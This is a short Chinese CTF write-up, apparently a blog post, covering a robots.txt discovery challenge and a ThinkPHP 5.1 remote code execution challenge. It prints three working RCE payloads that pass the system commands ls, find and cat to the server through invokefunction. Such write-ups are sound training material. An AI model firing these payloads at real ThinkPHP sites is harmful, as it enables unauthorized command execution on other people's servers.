"本文探讨了Python爬虫中如何通过robots.txt发现ThinkPHP 5.1版本的远程代码执行漏洞，并详细解析了payload的构造与作用。通过实例展示了如何利用这个漏洞获取flag：cyberpeace{dc7c764839800a9e351c917915b1e03e}
Training-WWW-Robots
robots协议是Python爬虫时涉及到的一个协议，在URL后直接加上/robots.txt，显示如下图：
然后如图所示把/robots.txt改成/f10g.php后得到flag：
cyberpeace{dc7c764839800a9e351c917915b1e03e}
php_rce
根据题目的writeup：
百度后可知5.1版本的thinkPHP漏洞为 rce，在URL后加上payload
注：payload大概可以理解为关键信息
图中的payload1：index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system& vars[1][]=ls
payload2：index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system& vars[1][]=find / -name “flag*”
payload3：index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system& vars[1][]=cat /flag
3397
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
